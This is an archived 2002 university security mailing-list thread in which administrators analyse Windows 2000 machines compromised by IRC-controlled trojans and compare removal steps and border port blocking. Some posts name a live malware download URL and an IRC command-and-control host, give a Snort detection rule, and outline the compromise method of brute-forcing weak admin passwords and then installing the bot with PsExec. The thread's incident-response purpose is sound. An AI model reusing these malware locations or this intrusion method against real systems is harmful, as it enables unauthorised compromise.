** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2002) 4096/8448B056 **
** Office of Information Technology, UMBC *   4A B4 96 64 D9 B6 EF E3 21
9A **
** 410-455-2583 (v)/410-455-1065 (f)      *   46 1A 37 11 F5 6C 84 48 B0
56 **
------------------------------------------------------------------------------


>From allen at ...6829... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 10:20:35 -0700 (PDT)
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Allen Chang <allen at ...6829...>
To: Huba Leidenfrost <huba at ...6833...>
Cc: unisog at ...695..., its-security-list at ...6833...

We have been looking at this for 2-3 weeks now. The degree of
infection/compromise varies. The machines compromised on our network were
all Win2k without Administrator passwords. It appears that a bot is being
used to compromise the machine and the owner comes around later to run
sua.bat and do all sorts of juicy stuff. A probable method is using PsExec
to start telnet.

Our machines also had a directory created in C:\RECYCLYER that had the
same name as the recycle bin and was attrib +s +r +h. That apparently was
set as the upload dir for the XDCC bot.

Also, \winnt\system32\vmn32\ contains the contents of vmn32.exe. Including
lsass.exe, which is used to open multiple services.

The IRC channel passwords are actually in one of the mirc.ini files
(haven't had time to look). It probably uses strange ASCII characters but
it's in there somewhere.

I'm refining removal instructions right now and will forward to the list
when completed.

@llen
Network Security
Residential Computing
UC Berkeley

On Wed, 10 Apr 2002, Huba Leidenfrost wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Some forensics work by one of our system administrators came up with
> the following on the latest win2k box that was found dishing out DoS
> traffic (huge number of small sized flows).  I've enclosed the
> gates.txt file found which appears to be a huge list open proxies?

The gates.txt is a file that is standard to the gtbot bot control trojan.
Not quite sure what the file is used for. temp.scr, temp.exe and temp2.exe
are also standard from gtbot. Temp.exe is mIRC client and temp2.exe seems
to be just a window hider.

> Other infected systems?  If you notice something in common about all
> those systems please let me know.  I would suggest adding a rule to
> your NIDS boxes to watch for outgoing connections from your
> network(s) to http://home.earthlink.net/~e03913/dll32nos.exe.  If you
> use SNORT here's what works for me:
> alert ip $HOME_NET any -> 207.217.98.0/24 80 (msg:"DarkIRC trojan
> retrieval"; classtype:bad-unknown; uricontent:"/dll32nos.exe";
> nocase; sid 536; rev:1;)
>
>
> <BEGINNING OF NOTES>
> 02/27/2002
>
> 	temp.exe (looks like MIRC icon, etc.)
> 	oxcu.ini  (Backdoor.IRC.Flood.h)
> 	2xvll.ocx (Backdoor.IRC.Cloner)
>
> I am unable to find the drop... bummer.
> Located in \winnt\system32, complete scripts available...
>
> 03/05/2002
>
> 	32dll.ocx (Backdoor.IRC.Flood.a)
> 	32dllxp.ocx (Backdoor.IRC.Flood.a)
>
> Also in /winnt/system32, complete nonsense script available
>
> 03/10/2002
>
> 	r32.exe (exact copy of below, name change)
> 	rudl32.exe (our dropper friend for the darkIRC services)
>
> Also in /winnt/system32
>
> 03/15/2002
>
> 	vmn32.exe (the complete package, w/ web server, irc server, ftp
> server, etc...)
>
> Also in /winnt/system32, this is where sua.bat of virii past executes
> after decompression
>
> 03/26/2002
>
> Check this out, something keeps trying to connect to ->
>
> 	http://home.earthlink.net/~e03913/dll32nos.exe
>
> and a file  gets created, but it is the error
> page of 'service overload' from Earthlink, so a bogus
> 32dllnos.exe get created in /winnt/system32/ ->
> it contains the html returned from Earthlink
>
> 03/30/2002
>
> Another failed attempt to connect to the above link
>
> 04/01/2002
>
> Success, LOL...  dll32nos.exe is acquired and its
> setup is executed, a new month of bandwidth provides ->
>
> 	2xvll.ocx (Backdoor.IRC.Cloner)
> 	32dll.ocx (Backdoor.IRC.Flood.a)
> 	32dllxp.ocx (Backdoor.IRC.Flood.a)
> 	fsearch.ini (scripts, finds all *.mpg, *.avi, etc. on host ->)
> 	gates.txt (a huge list of names, attached)
> 	oxcu.ini  (Backdoor.IRC.Flood.h)
> 	temp.exe (looks like MIRC icon, etc.)
> 	temp.scr (huge list of IRC user names?)
> 	temp2.exe (which F-Secure identifies as 'Destructive Code')
>
> 04/08/2002
>
> 	svchost.exe (from vmn32.exe) is invoked
>
> After the firewall
>
> I bring the ethernet online, and svchost.ext immediately
> tries to connect out to:
>
> 	ircu.bredband.com
> 	195.54.102.4:6667
>
> Also, unknown packets tcp are attempting to leave
> the client station....  LOL, rules created, I'll
> make a list of IPs in the morning...
> <END OF NOTES>
>
> - From the verbage on the error message at
> http://home.earthlink.net/~e03913/dll32nos.exe it would appear that
> this has been a popular website this month.
>
> - ---------------
> "Sorry...Page Temporarily Unavailable
>
> The Web page or file that you requested is temporarily unavailable.
> It has been so popular this month that it exceeded its free monthly
> traffic allotment. Access to this Web site will be restored on the
> first of next month. Please come back then.
>
> Thank you for your visit!"
> - -------------------------
>
> beast.npac.syr.edu, cheetah.bradley.edu,
> client42153.atl.mediaone.net, proxy.ihp.sinica.edu.tw,
> relarn-relay.tasur.edu.ru, & triton.pwsbia.edu.pl are the .edu sites
> I noticed from the attached gates.txt.  I'll call around in the
> morning and try to find out what these have in common.
>
> BTW if anyone has any good advice on how to sniff IRC channels and
> passwords from IRC bound traffic please let me know. Ideally when I
> spot one of these I'd like to be able to watch more carefully before
> turning a system off.  Any tools for snarfing just IRC commands sort
> of like Dug Songs urlsnarf?
>
>       H  u  b  a
>  - - - - --
>     ---   O      HUBA LEIDENFROST         Systems Security Analyst
>     --   <^-     huba at ...6833...   Information Technology Services
>    --  -\/\        www.its.uidaho.edu/info-security/runsafe.htm
>    ---     \     TEL: 208.885.2126               FAX: 208.885.7539
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>
>
> iQA/AwUBPLP16kpG2S0cMeJwEQKFxgCgke9r38NzCYhX3z8s0WAttSaunyoAnjE2
> CfUs16tyo0XeguLdmiOEc5IH
> =a6Xo
> -----END PGP SIGNATURE-----
>


>From dittrich at ...466... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 11:55:01 -0700 (PDT)
Subject: [unisog] Re: Infected windows boxes with IRC controlled trojans
on
    them
From: Dave Dittrich <dittrich at ...466...>
To: unisog at ...695...

> BTW if anyone has any good advice on how to sniff IRC channels and
> passwords from IRC bound traffic please let me know. Ideally when I
> spot one of these I'd like to be able to watch more carefully before
> turning a system off.  Any tools for snarfing just IRC commands sort
> of like Dug Songs urlsnarf?

We were hit with the same thing.  In several cases, it was related to
DDoS attacks.  In others, distributed warez via bots using DCC.

Short answer is look at "ngrep".  I have examples of its use in the
Trinoo, Stacheldraht, and "Power" bot, DDoS analyses on my DDoS page:

	http://staff.washington.edu/dittrich/misc/ddos/

Also useful are "tcpdstat" and "tcptrace".  I am also working on a
talk to be given at CanSecWest about taking down IRC based DDoS
networks.  (Look for a link to the talk notes on my web page in early
May.)

--
Dave Dittrich                           Computing & Communications
dittrich at ...466...             University Computing Services
http://staff.washington.edu/dittrich    University of Washington

PGP key      http://staff.washington.edu/dittrich/pgpkey.txt
Fingerprint  FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5




>From tal1 at ...6822... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:29:30 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
     them
From: Tracey Losco <tal1 at ...6822...>
To: unisog at ...695...

We have had a number of our machines hit with this and I think that 
it started when I started the discussion of the coordinated scans we 
saw about 2 or 3 weeks back.  One of our technicians, Christian, sent 
the following message after doing some forensics on an infected 
machine:

>Here's what i found. On startup a file called RUDL32.EXE is executed,
this
>spawns a number of sxeNN.TMP files (all random) and locates them in the
>startup folder.
>
>One thing i found that was different from the email [sent on unisog 
>with infor on what files to look for] was that once the mIRC
>client is launched it references a mirc.ini file created by the virus
that
>contains the script /run *path temp2.exe. deleting this file along with
>DLL32NOS[1].exe will stop the client from running. Then by deleting
>RUDL32.exe you stop the sxeNN processes from occuring at startup. The
>FTP-Serv function seemed to be absent from this infection.

Again, this only affected machines that _did not_ have their Admin 
passwords set <sigh>...

He also had the following comments on removal after inspecting a 
second machine:

>First of all, NAV [Norton Anti Virus] had already quartined a number 
>of files on this machine and identified them as having been infected 
>with a number of viruses and files associated with those:
>
>W32.lxd.mirc = Whvlxd.exe - quarantined. This was an old virus, it 
>just places the file WHVLXD.exe in the /System folder and adds a 
>value to the registry: 
>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. No 
>idea why this file was there. It's not dropping anything though. 
>Norton picked it up and moved it, and we still had the same issues.
>
>In the registry under 
>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
>you'll find 2 instances of CMD32.exe being referenced, delete these
values.
>
>Also, do a registry search for Firedeamon.exe. You'll most likely 
>find it in a key called 'Filesof TypeMRU' under the 'Explorer Bars' 
>key. Delete the entire 'Filesof TypeMRU' key. Note: you'll also find 
>references to the current DarkIRC client in the form of sxeNN.tmp 
>which leads me to believe that the key is created at startup - 
>therefore deleting if may not have any effect. 
>
>Firedaemon can turn any program into a system service, and is 
>configurable from a command prompt so perhaps some paramaters were 
>tacked on and that was why CMD32.exe was running at startup.Taking 
>the CMD32 value out of 
>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
>stopped service
>
>Could this have anything to do with the UNICODE exploit? Probably 
>not, the only thing it shares in common with Backdoor.NTHack seems 
>to be the use of FirDaemon to bind to Serv-U. I didn't check for 
>serv-u.exe or anything like that but there were two LSAS.exe 
>processes running on the infected machine and about 4 simultaneous 
>FireDaemon.exe processes going on too.
>
>This is probably another mutation of the DarkIRC worm, only finding 
>it on Win2k boxes with blank admin passwords.

It looks like there may be a few versions of this out there...or, 
some of the compromises weren't able to fully complete their install?

If anyone can come up with better solutions on how to get rid of 
this, input is welcomed.  :-)

Tracey

--------------------------------------------------------------------
Tracey Losco
Network Security Analyst		security at ...6823...
ITS - Network Services			http://www.nyu.edu/its/security
New York University			(212) 998 - 3433

PGP Fingerprint: 8FFB FE47 6156 7BF0  B19E 462B 9DFE 51F5

At 10:20 AM -0700 4/10/02, Allen Chang wrote:
>We have been looking at this for 2-3 weeks now. The degree of
>infection/compromise varies. The machines compromised on our network were
>all Win2k without Administrator passwords. It appears that a bot is being
>used to compromise the machine and the owner comes around later to run
>sua.bat and do all sorts of juicy stuff. A probable method is using
PsExec
>to start telnet.
>
>Our machines also had a directory created in C:\RECYCLYER that had the
>same name as the recycle bin and was attrib +s +r +h. That apparently was
>set as the upload dir for the XDCC bot.
>
>Also, \winnt\system32\vmn32\ contains the contents of
vmn32.exe. Including
>lsass.exe, which is used to open multiple services.
>
>The IRC channel passwords are actually in one of the mirc.ini files
>(haven't had time to look). It probably uses strange ASCII characters but
>it's in there somewhere.
>
>I'm refining removal instructions right now and will forward to the list
>when completed.
>
>@llen
>Network Security
>Residential Computing
>UC Berkeley
>
>From mnx at ...6827... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:30:31 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Mark Newman <mnx at ...6827...>
To: unisog at ...695...

Can anyone comment on the method of exploit? 

Admin shares and anonymous enumeration have been the commonality with 
machines here...but, *how* was this done?

the IRC controlled machines here were apparently compromised the same way
as 
machines found running w32time.exe (7000/tcp ...Ataman telnet)

I already know what files were placed on the compromised machines.

Would appreciate anyone's comments on the method.

Thanks,
Mark Newman
University of Tennessee


>From jtillots at ...6834... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:37:15 -0500 (EST)
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Jenett Tillotson <jtillots at ...6834...>
To: Mark Newman <mnx at ...6827...>
Cc: unisog at ...695...


On our Windows 2000 machines, I'm pretty sure this was a brute force hack
on accounts with administrator privileges.  So far, all 2000 machines
we've had compromised had easy to guess passwords.  Also, I have reports
of people with logs showing multiple attempts to break into accounts on
the machines - 160 total.  So, I suspect it's just the top 160 possible
passwords (blank password, the name of the machine, the username, abc123,
etc.).

On Windows NT machines, it's a different story.  So far, all machines that
I've seen that have been compromised were not running SP6.  All machines
that have had SP6 installed were fine.  All machines that were not running
SP6 were compromised.  So, this is a security hole, but we're unsure what
hole that is.  I've heard of a security hole in NT with the null user
request allowing access to the box in some bad way, but this is just a
rumor so far.

Jenett Tillotson
School of Pharmacy
Purdue University

On Wed, 10 Apr 2002, Mark Newman wrote:

> Can anyone comment on the method of exploit?
>
> Admin shares and anonymous enumeration have been the commonality with
> machines here...but, *how* was this done?
>
> the IRC controlled machines here were apparently compromised the same
way as
> machines found running w32time.exe (7000/tcp ...Ataman telnet)
>
> I already know what files were placed on the compromised machines.
>
> Would appreciate anyone's comments on the method.
>
> Thanks,
> Mark Newman
> University of Tennessee
>
>


>From flynngn at ...6811... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 17:44:19 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Gary Flynn <flynngn at ...6811...>
To: unisog at ...695...

Mark Newman wrote:
> 
> Can anyone comment on the method of exploit?
> 
> Admin shares and anonymous enumeration have been the commonality with
> machines here...but, *how* was this done?

Along the same vein, I'd like to know if anyone that blocks netbios at 
the Internet border has seen this.

-- 
Gary Flynn
Security Engineer - Technical Services
James Madison University

Please R.U.N.S.A.F.E.
http://www.jmu.edu/computing/runsafe


>From pauls at ...6838... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 17:45:14 -0500
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Paul Schmehl <pauls at ...6838...>
To: Gary Flynn <flynngn at ...6811...>, unisog at ...695...

No, we haven't seen any of this, and we've been looking. 
We block 135-139 UDP/TCP and 445 UDP/TCP.

--On Wednesday, April 10, 2002 5:44 PM -0400 Gary Flynn 
<flynngn at ...6811...> wrote:

> Mark Newman wrote:
>>
>> Can anyone comment on the method of exploit?
>>
>> Admin shares and anonymous enumeration have been the
>> commonality with machines here...but, *how* was this
>> done?
>
> Along the same vein, I'd like to know if anyone that
> blocks netbios at  the Internet border has seen this.

Paul Schmehl (pauls at ...6838...)
Supervisor of Support Services
The University of Texas at Dallas
AVIEN Founding Member


>From huba at ...6833... Thu May  2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:03:03 -0700
Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Huba Leidenfrost <huba at ...6833...>
To: unisog at ...695...

My apologies BTW for the funky attachment from my previous message. 
I should have referred to it or sent it to anyone that wanted a copy.
 Believe me I wasn't trying to massage everyone's MTAs in order to
find out what type of anti-virus gateway protection is being used.

I'm of the opinion that I will have to put up a honeypot pronto and
set the administrator password to abc123 and see who comes knocking. 
Perhaps I can solve this puzzle.

-Huba


*** Not encrypted nor signed data is left

 



*** End of not encrypted nor signed data


>From allen at ...6829... Thu May  2 23:42:09 2002
Date: Wed, 10 Apr 2002 21:35:39 -0700 (PDT)
Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Allen Chang <allen at ...6829...>
To: Huba Leidenfrost <huba at ...6833...>
Cc: unisog at ...695...

I'm not too savvy with IRC but it probably isn't too hard to jump in the
IRC channel that is used for the gtbot control and watch the botmaster
control and possibly trace the IP even.

I'm pretty sure that one of the ways that the computers were compromised
was by using PSExec
<http://www.sysinternals.com/ntw2k/freeware/psexec.shtml> On computers
that don't have an Administrator password set, it's almost trivial to have
the computer download and install gtbot. The computer logs onto irc, start
the MS telnet service and you have complete control. From what I've seen
on this list, sua.bat varies. The ones we have found are very sparse and
only do the bare minimum.

Anyone have other ideas?

@llen
Network Security
Residential Computing
UC Berkeley

On Wed, 10 Apr 2002, Huba Leidenfrost wrote:

>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> My apologies BTW for the funky attachment from my previous message.
> I should have referred to it or sent it to anyone that wanted a copy.
>  Believe me I wasn't trying to massage everyone's MTAs in order to
> find out what type of anti-virus gateway protection is being used.
>
> I'm of the opinion that I will have to put up a honeypot pronto and
> set the administrator password to abc123 and see who comes knocking.
> Perhaps I can solve this puzzle.
>
> - -Huba
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
>
> iQA/AwUBPLTEp0pG2S0cMeJwEQJ/swCg6O2XrvGkUOVBiWguV6Cgm5Uky58AoPjB
> i3Zy1aTt6pIxQM8nerWNvYT/
> =PdZx
> -----END PGP SIGNATURE-----
>
>


>From morrow.long at ...6824... Thu May  2 23:42:09 2002
Date: Thu, 11 Apr 2002 03:52:07 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: H. Morrow Long <morrow.long at ...6824...>
To: Gary Flynn <flynngn at ...6811...>
Cc: unisog at ...695...

We've not seen this and since the beginning of this year we've been
blocking
NetBIOS over TCP/IP (including TCP port 445) at our border with the
Internet.

We have seen similar attacks however by intruders who managed to get
access
to accounts on Unix/Linux machines inside our network and then used the
'smbclient' program to accomplish similar compromises - but on Windows 98
PCs.

The intruder used some scripts to semi-automate their probes and install
their
trojan software on the disk shares (they were actually using the 'pico'
text
editor to add invocation lines to the remote c:\autoexec.bat and various
*.INI files).

We found one such intruder in January (on multiple occassions using
different
accounts) in the act of attacking other universities (the intruder was
logging in
from yet another University) -- whom we stopped and we notified the other
universities.

- H. Morrow Long
  University Information Security Officer
  Yale University, ITS, Dir. InfoSec Office

Gary Flynn wrote:
> 
> Mark Newman wrote:
> >
> > Can anyone comment on the method of exploit?
> >
> > Admin shares and anonymous enumeration have been the commonality with
> > machines here...but, *how* was this done?
> 
> Along the same vein, I'd like to know if anyone that blocks netbios at
> the Internet border has seen this.
    [ Part 2, "S/MIME Cryptographic Signature"  ]
    [ Application/X-PKCS7-SIGNATURE  5.8KB. ]
    [ Unable to print this part. ]


>From chris.cramer at ...799... Thu May  2 23:42:09 2002
Date: Thu, 11 Apr 2002 09:01:52 -0400 (EDT)
Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans
on
    them
From: Christopher E. Cramer <chris.cramer at ...799...>
To: Allen Chang <allen at ...6829...>
Cc: Huba Leidenfrost <huba at ...6833...>, unisog at ...695...


In our post-mortem of one box we found the scanner called Fluxay 
(http://www.netxeyes.com/down.html)

the scanner enumerates accounts and then dictionary attacks those with 
administrator privileges.  blocking ports 135-139 and 445 should prevent 
both the enumeration and the remote access.  

once the password for an administrator account is known, as you said, it's 
trivial to install an IRC bot.

-c

Christopher E. Cramer, Ph.D.
Information Technology Security Officer
Duke University,  Office of Information Technology
253A North Building, Box 90132, Durham, NC  27708-0291
PH: 919-660-7003  FAX: 919-660-7076  email: chris.cramer at ...799...


On Wed, 10 Apr 2002, Allen Chang wrote:

> I'm not too savvy with IRC but it probably isn't too hard to jump in the
> IRC channel that is used for the gtbot control and watch the botmaster
> control and possibly trace the IP even.
> 
> I'm pretty sure that one of the ways that the computers were compromised
> was by using PSExec
> <http://www.sysinternals.com/ntw2k/freeware/psexec.shtml> On computers
> that don't have an Administrator password set, it's almost trivial to
have
> the computer download and install gtbot. The computer logs onto irc,
start
> the MS telnet service and you have complete control. From what I've seen
> on this list, sua.bat varies. The ones we have found are very sparse and
> only do the bare minimum.
> 
> Anyone have other ideas?
> 
> @llen
> Network Security
> Residential Computing
> UC Berkeley
> 
> On Wed, 10 Apr 2002, Huba Leidenfrost wrote:
> 
> >
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > My apologies BTW for the funky attachment from my previous message.
> > I should have referred to it or sent it to anyone that wanted a copy.
> >  Believe me I wasn't trying to massage everyone's MTAs in order to
> > find out what type of anti-virus gateway protection is being used.
> >
> > I'm of the opinion that I will have to put up a honeypot pronto and
> > set the administrator password to abc123 and see who comes knocking.
> > Perhaps I can solve this puzzle.
> >
> > - -Huba
> >
> >
> > -----BEGIN PGP SIGNATURE-----
> > Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
> >
> > iQA/AwUBPLTEp0pG2S0cMeJwEQJ/swCg6O2XrvGkUOVBiWguV6Cgm5Uky58AoPjB
> > i3Zy1aTt6pIxQM8nerWNvYT/
> > =PdZx
> > -----END PGP SIGNATURE-----
> >
> >
> 


>From flynngn at ...6811... Thu May  2 23:42:09 2002
Date: Thu, 11 Apr 2002 09:06:14 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
    onthem
From: Gary Flynn <flynngn at ...6811...>
To: unisog at ...695...

Allen Chang wrote:
> 
> I'm not too savvy with IRC but it probably isn't too hard to jump in the
> IRC channel that is used for the gtbot control and watch the botmaster
> control and possibly trace the IP even.

Ideally, I would think it would be more desirable to notify law
enforcement 
of the channel so they can set up a "sting" operation and wait for the 
controller to connect. Granted, the controller is likely using a
compromised 
computer and law enforcement will likely have to backtrack but ultimately 
its really law enforcement that is going to have to take this thing by the 
handle and track down the culprits if we're ever to stop this random
vandalism. 
Cutting off ISP accounts isn't much of a deterrent.

-- 
Gary Flynn
Security Engineer - Technical Services
James Madison University

Please R.U.N.S.A.F.E.
http://www.jmu.edu/computing/runsafe


>From sneeri at ...6839... Thu May  2 23:42:09 2002
Date: Thu, 11 Apr 2002 13:23:21 -0400 (Eastern Daylight Time)
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
    onthem
From: Gerry Sneeringer <sneeri at ...6839...>
To: unisog at ...695...


Here at Maryland, we have seen quite a bit of this in recent days.  In our
case as well, each host was a win2k box w/ a weak or null administrator
password.

It appears that a worm passed through and in addition to the IRC bot,
also dropped an ftp server on tcp/22222 and an sshd on tcp/65300.  The IRC
bot establishes a connection with the #Gotwarez? channel and starts
advertising that it has zero files available for XDCC transfer.  At a
later point, a small number of Warez files (or DVD's) appear on the host.
The XDCC advertisement includes the string:
 "Fuck Milk...Gotwarez?"
A Snort pattern match on that string produced a number of hits within a
few minutes.

I crawled into the sewer (i.e. connected to #gotwarez?) and listed the
bots and found 83 .EDU hosts from 16 different domains active.  I'll be
dropping a note to each school as soon as I have a moment.

-Gerry

---
Gerry Sneeringer
IT Security Officer
University of Maryland, College Park
PGP key: http://nts.umd.edu/~sneeri/pgp.txt
PGP fingerprint: D8 31 14 26 3D 60 22 53 CB 12 A8 01 C0 BE BA 81



>From mnx at ...6827... Thu May  2 23:42:09 2002
Date: Thu, 11 Apr 2002 15:52:56 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
    onthem
From: Mark Newman <mnx at ...6827...>
To: unisog at ...695...

Why hasn't any EDU CERT organization or SANS commented on this? I realize 
this is *seemingly* the use of a well known vulnerability but, the kit's 
footprint has to be unique enough to be worthy of mention somewhere. I
know 
it *resembles* GT/Bot.

The trojaned w32time.exe is also widespread enough to be worthy of
mention. 
I've counted 8 or 10 organizations on this list that have seen 
this...everyone on 3/22?

We had machines on campus that were considered to be secure, had excellent 
admin passwords, and are managed by very competent admins that were still 
affected by the w32time.exe trojan. No way could they have cracked the 
passwords with a brute force attack and not be spotted. Something is odd 
about all this but, I don't know what it is yet.

Mark Newman
University of Tennessee


>From Phil.Rodrigues at ...3839... Thu May  2 23:42:09 2002
Date: Thu, 18 Apr 2002 14:04:46 -0400
Subject: [unisog] Blocking Windows Networking at the Border?
From: Phil.Rodrigues at ...3839...
To: unisog at ...695...

Hi,

The University of Connecticut experienced all the fun Windows hacks of the 
last few weeks that everyone else did ("Got Warez?" XDCC bots, 
W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all 
pretty much as a result of allowing Windows Networking across our Internet 
link.  With 8,500 students and a few thousand staff computers on the 
network *someone* will have a weak share.

We have been considering blocking ports 135-139/445 at the routers for a 
few weeks now for privacy issues (the assumption that things shared on the 
"local network" are only accessible by other University computers) and 
after all of this we are considering it for security reasons as well.  We 
have never blocked anything before, and none of us really wants to start 
down this slippery slope, but user education about open shares and strong 
passwords only seems so effective.

What are other schools doing to combat these types of problems?  Are many 
of you blocking Windows Networking at the border?  Do those that choose 
not to block it have compelling reasons to keep it open, or do you leave 
it open because "it has always been that way"?

Thanks for your input, and shoot me a private reply if you prefer.

Phil

=======================================
Philip A. Rodrigues
Network Analyst, UITS
University of Connecticut

email: phil.rodrigues at ...3839...
phone: 860.486.3743
fax: 860.486.6580
web: http://www.security.uconn.edu
=======================================


>From dgulje at ...6840... Thu May  2 23:42:09 2002
Date: Tue, 23 Apr 2002 08:33:57 -0700
Subject: RE: [unisog] Blocking Windows Networking at the Border?
From: Daxter Gulje <dgulje at ...6840...>
To: unisog at ...695...

	We began blocking said ports here at UC Santa Barbara a couple of
weeks ago, and since then the only time we've experienced the fun Windows
hacks that you mention are from students compromised prior to our blocking
those ports.  Works like a charm so far, and not a single complaint yet...
(//jinx)

/Dax
__________________________________________
Daxter Gulje
Assistant ResNet Coordinator
University of California, Santa Barbara
805.893.4747
 

-----Original Message-----
From: Phil.Rodrigues at ...3839... [mailto:Phil.Rodrigues at ...3839...]
Sent: Thursday, April 18, 2002 11:05 AM
To: unisog at ...695...
Subject: [unisog] Blocking Windows Networking at the Border?


Hi,

The University of Connecticut experienced all the fun Windows hacks of the 
last few weeks that everyone else did ("Got Warez?" XDCC bots, 
W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all 
pretty much as a result of allowing Windows Networking across our Internet 
link.  With 8,500 students and a few thousand staff computers on the 
network *someone* will have a weak share.

We have been considering blocking ports 135-139/445 at the routers for a 
few weeks now for privacy issues (the assumption that things shared on the 
"local network" are only accessible by other University computers) and 
after all of this we are considering it for security reasons as well.  We 
have never blocked anything before, and none of us really wants to start 
down this slippery slope, but user education about open shares and strong 
passwords only seems so effective.

What are other schools doing to combat these types of problems?  Are many 
of you blocking Windows Networking at the border?  Do those that choose 
not to block it have compelling reasons to keep it open, or do you leave 
it open because "it has always been that way"?

Thanks for your input, and shoot me a private reply if you prefer.

Phil

=======================================
Philip A. Rodrigues
Network Analyst, UITS
University of Connecticut

email: phil.rodrigues at ...3839...
phone: 860.486.3743
fax: 860.486.6580
web: http://www.security.uconn.edu
=======================================


>From paland at ...6835... Thu May  2 23:42:09 2002
Date: Tue, 23 Apr 2002 11:49:37 -0400
Subject: Re: [unisog] Blocking Windows Networking at the Border?
From: Patrick Aland <paland at ...6835...>
To: Phil.Rodrigues at ...3839...
Cc: unisog at ...695...

We block everything inbound except what is explicitly allowed.

We do this for a number of reasons: open windows shares, students
running webservers, student running ftp sites, etc.

We try to be as open as possible so if an application requires a certain
port open inbound we try and accomodate, if it requires all ports open
inbound than we have to draw a line somewhere. 

This decission was made probably 5 years ago and we really don't hear
many complaints. Generally only the few that want to run webservers from
their dorms.


On Thu, Apr 18, 2002 at 02:04:46PM -0400, Phil.Rodrigues at ...3839... wrote:
> Hi,
> 
> The University of Connecticut experienced all the fun Windows hacks of
the 
> last few weeks that everyone else did ("Got Warez?" XDCC bots, 
> W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all 
> pretty much as a result of allowing Windows Networking across our
Internet 
> link.  With 8,500 students and a few thousand staff computers on the 
> network *someone* will have a weak share.
> 
> We have been considering blocking ports 135-139/445 at the routers for a 
> few weeks now for privacy issues (the assumption that things shared on
the 
> "local network" are only accessible by other University computers) and 
> after all of this we are considering it for security reasons as
well.  We 
> have never blocked anything before, and none of us really wants to start 
> down this slippery slope, but user education about open shares and
strong 
> passwords only seems so effective.
> 
> What are other schools doing to combat these types of problems?  Are
many 
> of you blocking Windows Networking at the border?  Do those that choose 
> not to block it have compelling reasons to keep it open, or do you leave 
> it open because "it has always been that way"?
> 
> Thanks for your input, and shoot me a private reply if you prefer.
> 
> Phil
> 
> =======================================
> Philip A. Rodrigues
> Network Analyst, UITS
> University of Connecticut
> 
> email: phil.rodrigues at ...3839...
> phone: 860.486.3743
> fax: 860.486.6580
> web: http://www.security.uconn.edu
> =======================================

-- 
------------------------------------------------------------
 Patrick Aland                          paland at ...6835...
 Network Administrator                  Voice: 386.822.7217
 Stetson University                     Fax: 386.822.7367
------------------------------------------------------------

    [ Part 2, Application/PGP-SIGNATURE  240bytes. ]
    [ Unable to print this part. ]


>From pauls at ...6838... Thu May  2 23:42:09 2002
Date: Tue, 23 Apr 2002 16:10:09 -0500
Subject: Re: [unisog] Blocking Windows Networking at the Border?
From: Paul Schmehl <pauls at ...6838...>
To: Phil.Rodrigues at ...3839..., unisog at ...695...

We've been blocking those ports for years, and we haven't 
had a single complaint that I can recall.  When Win2k came 
out, we added 445 TCP/UDP to the list.  As a result, we 
haven't experienced any of the problems that you refer to.

IMO, the Windows networking environment is far too fragile 
to expose it to the Internet.

--On Thursday, April 18, 2002 2:04 PM -0400 
Phil.Rodrigues at ...3839... wrote:

> Hi,
>
> The University of Connecticut experienced all the fun
> Windows hacks of the  last few weeks that everyone else
> did ("Got Warez?" XDCC bots,  W32Time/FluxaySensor
> Trojan/Password crackers, MIRC-DOS scripts), all  pretty
> much as a result of allowing Windows Networking across
> our Internet  link.  With 8,500 students and a few
> thousand staff computers on the  network *someone* will
> have a weak share.

Paul Schmehl (pauls at ...6838...)
Supervisor of Support Services
The University of Texas at Dallas
AVIEN Founding Member



On Fri, 6 Sep 2002, Matt Yackley wrote:

> Still trying to find out myself, this article from Wired seems to have the
> most actual info I have seen yet, but its not much....
> http://www.wired.com/news/technology/0,1282,54942,00.html
> 
> Also the information in the article is more of what the trojans do, but so
> far I haven't seen any info on how the trojans get planted in the first
> place.....
> 
> I'm guessing that someone is taking advantage of CR/Nimda/SQLSnake infected
> machines to get in and plant this updated IRC backdoor... Well that's my
> theory anyway :)
> 
> Matt
> 
> -----Original Message-----
> From: Mike Shaw [mailto:mshaw at ...3165...]
